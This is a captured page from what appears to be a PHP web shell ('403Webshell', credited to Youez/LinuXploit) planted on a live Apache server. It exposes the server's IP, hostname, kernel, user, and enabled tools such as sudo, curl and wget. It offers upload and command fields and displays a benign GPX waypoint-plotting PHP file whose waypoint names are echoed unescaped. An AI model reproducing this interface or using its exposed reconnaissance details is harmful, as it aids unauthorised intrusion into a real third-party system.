403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/plotflgpx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/plotflgpx/plot_wpt.php
<!DOCTYPE html>
<!--
******************************
 Project: ReadGPX, 2021
 Version: PHP 5-7
 Author : M. Kukic
 Note   :
******************************

http://net-tim/www/plotgpx/plot_wpt.php
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="60">
<title>Read GPX</title>
</head>
<body>

<?php
//
include "config.php";
//
$gpx = simplexml_load_file("wptdat.gpx");

echo "<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='".$mw2."' height='".$mh2."'>";
echo "<rect width='".$mw2."' height='".$mh2."' fill='rgb(253,248,243)' stroke-width='1' stroke='rgb(0,0,0)' />";

//echo "<g stroke='gray'>";

foreach ($gpx->wpt as $wp) {
		
			$lt=(float)$wp["lat"];
			$ln=(float)$wp["lon"];
		
			$alfa=$lt*$d2rad;
			$beta=$ln*$d2rad;
			//$alfa=deg2rad($lt);
			//$beta=deg2rad($ln);
			
			$xp=$er*$alfa;
			$rp=$er*cos($alfa);   			//Popravka
			$yp=$rp*$beta;
			
			$xe=$dx2+$mh2-($xp-$la2)/$kpix2;
			$ye=$dy2+($yp-$lo2)/$kpix2;
	
			echo "<circle cx='".$ye."' cy='".$xe."' r='3' stroke='black' stroke-width='1' fill='red' />";

			foreach($wp->name as $name){
				//echo $name;			
			}	
			
			$xg=$xe-5;
			$yg=$ye+5;
			
			//echo "<text x='".$yg."' y='".$xg."' font-size='10' font-weight='normal' font-family='monospace'>".$name."</text>";
			echo "<text x='".$yg."' y='".$xg."' font-size='8' font-family='monospace'>".$name."</text>";
			
}

//echo "</g>";
unset($gpx);
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit